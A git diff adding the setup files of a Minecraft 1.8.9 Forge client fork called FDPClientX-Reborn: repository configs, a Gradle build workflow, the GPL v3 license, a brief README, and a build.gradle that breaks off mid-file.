diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 0000000..d96550c --- /dev/null +++ b/.gitattributes @@ -0,0 +1,3 @@ +src/main/* linguist-documentation=false +src/main/* linguist-vendored +*.psd filter=lfs diff=lfs merge=lfs -text diff --git a/.github/ISSUE_TEMPLATE/Blank_Issue.md b/.github/ISSUE_TEMPLATE/Blank_Issue.md new file mode 100644 index 0000000..134e523 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/Blank_Issue.md @@ -0,0 +1,7 @@ +--- +name: Blank +about: a blank issue +title: +assignees: '' + +--- diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md new file mode 100644 index 0000000..57754f6 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug_report.md @@ -0,0 +1,47 @@ +--- +name: Bug report +about: Create a bug report to help us improve +title: '[Bug] <Title Here>' +labels: bug +assignees: '' + +--- + +Please note that we do not provide support for clients other than Forge. +We will not fix compatibility issues with other clients. + +**Describe the bug** +<A clear and concise description of what the bug is.> + +**To Reproduce** +<Steps to reproduce the behavior (how did you get this bug to occur):> +1. +2. +3. +4. + +**Expected behavior** +<A clear and concise description of what you expected to happen.> + +**Screenshots/Video** +If applicable, add screenshots, or a video to help explain your problem. + +**Crash Report** +If your game crashed, please paste your crash report below. + +```text +[Paste Here] +``` + +**System Information** + - OS: [e.g. Windows 10] + - Minecraft Version: [e.g. 1.8.9] + - Forge Version: [e.g. 11.15.1.2318] + - FDPClient Version: [e.g. 2.0-PRE2] + +**Other Installed Mods** +If you have any other mods installed, please list them here along with their version number. +- <Example Mod 1.0> + +**Additional info** +<Add any other context about the problem here.> diff --git a/.github/dependabot.yml b/.github/dependabot.yml new file mode 100644 index 0000000..34477c7 --- /dev/null +++ b/.github/dependabot.yml @@ -0,0 +1,7 @@ +version: 2 +updates: +- package-ecosystem: gradle + directory: "/" + schedule: + interval: daily + open-pull-requests-limit: 10 diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml new file mode 100644 index 0000000..0a3213f --- /dev/null +++ b/.github/workflows/build.yml @@ -0,0 +1,31 @@ +name: build + +on: + - push + +jobs: + build: + runs-on: ubuntu-latest + steps: + - name: Checkout repository + uses: actions/checkout@v2 + with: + submodules: recursive + - name: Java setup + uses: actions/setup-java@v2 + with: + distribution: "zulu" + java-version: 8 + cache: "gradle" + - name: Set outputs + id: vars + run: echo "::set-output name=sha_short::$(git rev-parse --short HEAD)" + - name: Build + run: chmod +x ./gradlew && ./gradlew setupCiWorkspace && ./gradlew build + - name: Rename build artifacts + run: mv build/libs/FDPClient-*.jar build/libs/FDPClient-build.jar + - name: Upload build artifacts + uses: actions/upload-artifact@v2 + with: + name: FDPClient + path: build/libs/FDPClient-build.jar diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..36367f5 --- /dev/null +++ b/.gitignore @@ -0,0 +1,29 @@ +# eclipse +eclipse +bin +*.launch +.settings +.metadata +.classpath +.project + +# idea +out +classes +*.ipr +*.iws +*.iml +.idea + +# gradle +build +.gradle + +#Netbeans +.nb-gradle +.nb-gradle-properties + +# other +run +.DS_Store +Thumbs.db \ No newline at end of file diff --git a/FDPJavaFX.jar b/FDPJavaFX.jar new file mode 100644 index 0000000..b54ef66 Binary files /dev/null and b/FDPJavaFX.jar differ diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..c29bf19 --- /dev/null +++ b/LICENSE @@ -0,0 +1,673 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/> + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + Copyright © CCBlueX 2015-2020 + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see <http://www.gnu.org/licenses/>. + + Contact: support@liquidbounce.net + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright © CCBlueX 2015-2020 + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +<http://www.gnu.org/licenses/>. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +<http://www.gnu.org/philosophy/why-not-lgpl.html>. diff --git a/README.md b/README.md new file mode 100644 index 0000000..f1ee5cb --- /dev/null +++ b/README.md @@ -0,0 +1,38 @@ +# FDPClientX-Reborn + +Follow me on BiliBili: https://space.bilibili.com/1353540064 + +# This is Super Skid Client +You have to admit that I haven't written any line of code myself + +Simply copy and paste to write code + +## License +This project is subject to the [GNU General Public License v3.0](LICENSE). This does only apply for source code located directly in this clean repository. During the development and compilation process, additional source code may be used to which we have obtained no rights. Such code is not covered by the GPL license. + +For those who are unfamiliar with the license, here is a summary of its main points. This is by no means legal advice nor legally binding. + +You are allowed to +- use +- share +- modify + +this project entirely or partially for free and even commercially. However, please consider the following: + +- **You must disclose the source code of your modified work and the source code you took from this project. This means you are not allowed to use code from this project (even partially) in a closed-source (or even obfuscated) application.** +- **Your modified application must also be licensed under the GPL.** + +Do the above and share your source code with everyone; just like we do. + +## Setting up a Workspace +BetterFDP is using Gradle, so make sure that it is installed properly. Instructions can be found on [Gradle's website](https://gradle.org/install/). + +1. Clone the repository using `git clone https://github.com/XeContrast/FDPClientX-Reborn.git' +2. CD into the local repository folder. +3. Depending on which IDE you are using execute either of the following commands: + - For IntelliJ: `gradlew setupDevWorkspace idea genIntellijRuns build` + - For Eclipse: `gradlew setupDevWorkspace eclipse build` + + (you can add `-debug` right after `gradlew` if you want to enable debug logging.) +4. Open the folder as a Gradle project in your IDE. +5. Select the default run configuration. \ No newline at end of file diff --git a/build.gradle b/build.gradle new file mode 100644 index 0000000..bc19036 --- /dev/null +++ b/build.gradle @@ -0,0 +1,171 @@ +plugins { + id "java" + id "idea" + id "org.jetbrains.kotlin.jvm" + id "com.github.johnrengelman.shadow" version "6.1.0" + id "net.minecraftforge.gradle.forge" + id "org.spongepowered.mixin" +} + +repositories { + mavenLocal() + mavenCentral() + maven { url = "https://maven.minecraftforge.net/" } + maven { url = "https://repo.spongepowered.org/repository/maven-public/" } + maven { url = "https://jitpack.io/" } + maven { url = "https://repo.viaversion.com" } +} + +version = "5.6.0" +group = "org.unlegitmc.fdp" +archivesBaseName = "FDPClient" + +sourceCompatibility = targetCompatibility = 1.8 +compileJava.options.encoding = "UTF-8" + +compileKotlin { + kotlinOptions { + jvmTarget = "1.8" + } +} + +minecraft { + version = "1.8.9-11.15.1.2318-1.8.9" + runDir = "run" + mappings = "stable_22" + makeObfSourceJar = false + clientJvmArgs += ["-Dfml.coreMods.load=net.ccbluex.liquidbounce.injection.forge.TransformerLoader", "-Xmx1024m -Xms1024m", "-Ddev-mode"] +} + +configurations { + include + implementation.extendsFrom(include) + + external + compile.extendsFrom(external) + + runtimeOnly.canBeResolved = true +} + +def viaLibs = [ + "com.viaversion:viaversion:${project.viaversion_version}", + "com.viaversion:viabackwards:${project.viabackwards_version}", + "com.viaversion:viarewind-universal:${project.viarewind_version}", + "org.yaml:snakeyaml:${project.snake_yml_version}", + "org.slf4j:slf4j-api:${project.slf4j_version}" +] + +dependencies { + implementation 'org.projectlombok:lombok:1.18.34' + include "com.google.zxing:core:3.5.3" + include("org.spongepowered:mixin:0.7.11-SNAPSHOT") { + transitive = false + exclude module: "guava" + exclude module: "commons-io" + exclude module: "gson" + exclude module: "launchwrapper" + exclude module: "log4j-core" + exclude module: "slf4j-api" + } + + for (final def via in viaLibs) { + include(via) + } + + include('com.github.half-cambodian-hacker-man:Koffee:d8cee73') { + exclude module: 'asm-commons' + exclude module: 'asm-tree' + exclude module: 'asm' + } + + annotationProcessor("org.spongepowered:mixin:0.7.11-SNAPSHOT") + + include "org.jetbrains.kotlin:kotlin-stdlib-jdk8:$kotlin_version" + include("me.friwi:jcefmaven:$jcef_version") { + exclude module: "commons-compress" // minecraft have a old version of this library + exclude module: "jogl-all" // we use lwjgl + exclude module: "gluegen-rt" // this is the library for joal + } + include("com.jagrosh:DiscordIPC:0.4") + include("com.github.SkidderMC:elixir-2:1.2.4") { + exclude module: "kotlin-stdlib" + exclude module: "authlib" + } + + include("com.github.zh79325:open-gif:1.0.4") { + exclude module: "slf4j-api" + exclude module: "logback-core" + exclude module: "logback-classic" + exclude module: "junit" + } // for read dynamic capes + + include("com.github.UnlegitMC:Astar3d:bec2291cf2") // pathfinding + + include fileTree(include: ["*.jar"], dir: "libs") +} + +shadowJar { + archiveClassifier.set("") + configurations = [project.configurations.include] + duplicatesStrategy DuplicatesStrategy.EXCLUDE + + // Ultralight native files are going to be downloaded from our cloud + exclude "native-binaries/**" + + exclude "LICENSE.txt" + + exclude "META-INF/maven/**" + exclude "META-INF/versions/**" + + exclude "org/apache/**" + exclude "org/junit/**" +} + +processResources { + inputs.property "version", project.version + inputs.property "mcversion", project.minecraft.version + + filesMatching("mcmod.info") { + expand "version": project.version, "mcversion": project.minecraft.version + } + + rename "(.+_at.cfg)", "META-INF/\$1" +} + +task moveResources { + doLast { + ant.move file: "${buildDir}/resources/main", + todir: "${buildDir}/classes/java" + } +} + +moveResources.dependsOn(processResources) +classes.dependsOn(moveResources) + +jar { + manifest.attributes( + "FMLCorePlugin": 